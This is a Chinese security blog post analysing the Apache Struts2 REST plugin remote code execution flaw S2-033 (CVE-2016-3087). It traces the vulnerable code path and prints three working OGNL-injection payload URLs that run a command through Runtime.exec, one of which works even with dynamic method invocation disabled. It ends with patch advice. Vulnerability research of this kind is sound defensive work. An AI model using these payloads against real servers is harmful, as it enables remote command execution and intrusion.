Strust2远程代码执行漏洞(S2-033)利用分析

0x00前言

5月12日,Struts官方发布安全公告称,Apache Strut2 REST插件存在漏洞,可以远程执行任意指令,该漏洞编号为S2-033(CVE-2016-3087 ),公告详情如下:

启明星辰ADLab通过分析发现,该漏洞依附于前一段时间闹得沸沸扬扬的S2-032漏洞,Struts官方发布的S2-033安全公告只是针对性地对REST插件功能存在的安全问题进行补充,其漏洞技术成因与S2-032相同。

0x01S2-033漏洞分析(一)

根据官方的漏洞描述,当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行。

以官方APP包struts2-rest-showcase-280为例,根据漏洞描述,问题出现在RestActionMapper这个类,定位到这个类如下:

其中,getMapping方法用于解析处理REST格式的url。

首先,调用RequestUtils.getUri(request)获取request对象的uri(url除去域名端口之外的链接);然后,uri经过dropExtension、parseNameAndNamespace、handleDynamicMethodInvocation等方法处理,但最关键的是dropExtension、handleDynamicMethodInvocation这两个方法。

dropExtension会循环匹配uri是否以“.json”、“.xml”、“.xhtml”等关键字结尾,如果是的话就将这些关键字去掉,剩下的字符返回给uri。所以利用url必须以”.json”、”.xml”、“.xhtml”等关键字结尾。

然后执行到handleDynamicMethodInvocation这个方法将“!”操作符后边的字符串赋值给actionMethod,如果allowDynamicMethodCalls(是否允许动态方法调用)为true,则将actionMethod添加到mapping的method属性中。

最后,执行到DefaultActionInvocation类的 invokeAction方法时,会取出methodName,由ognlUtil.getValue进行ognl表达式解析。

流程示意图如下所示:

根据上述分析容易构造出如下payload:

http://localhost:8080/struts2-rest-showcase-280/orders!%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@Java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23v%3d123,%23v.toString.json?&command=calc.exe

payload经过上述处理后最终的有效method为:

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#v=123,#v.toString

至于payload 为什么这么写可以参考S2-032的技术分析,原理是一样的。

分析结束,但意外的是实际测试漏洞并未触发。

经过调试发现,Order(action实例)并未进行初始化,导致clientName为null,当程序走到RestWorkflowInterceptor这个过滤器的时候直接return到serverlet输出错误结果。

定位到原因了,只要将Order类实例化即可,修改后的payload如下:

http://localhost:8080/struts2-rest-showcase-280/orders/3!%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=calc.exe

0x02S2-033漏洞分析(二)

上述是根据官方通告的内容定位到漏洞位置并构造出了payload,但到这还没有结束, struts2在相同的位置还存在一个漏洞,并且可无视allowDynamicMethodCalls,就是说在配置了struts.enable.DynamicMethodInvocation为false的情况下该漏洞依然可以触发。相应代码如下图所示:

Strut2 REST Plugin还支持actionName/id/methodName这种方式处理解析uri。直接将id后面的内容作为method属性设置到mapping中,并且未检测struts.enable.DynamicMethodInvocation该属性是否为true,这种方式不再需要使用“!”操作符。

流程图如下所示:

构造的Payload如下:

http://localhost:8080/struts2-rest-showcase-280/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=calc.exe

结果如下:

0x03漏洞修复

Struts官方已发布升级程序修复该漏洞,建议用户升级至struts 2.3.20.3,2.3.24.3,2.3.28.1版本。但从Struts 2.3.20.3的修复方案看,该版本并没有使用cleanupActionName过滤方法名,而是采用了S2-013的修补方案,将enableEvalExpression设置为false,禁止了ognl表达式执行。不得不说该方案确实简单暴力,至少S2-029、S2-032、S2-033这几个漏洞是不复存在了,但是如果Struts官方哪天不注意又把enableEvalExpression设置成了true,该处就可能再次产生新的利用方式。

0x04 参考资料

http://developer.51cto.com/art/201203/322509.htm

http://seclab.dbappsecurity.com.cn/?p=924

https://cwiki.apache.org/confluence/display/WW/S2-013

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值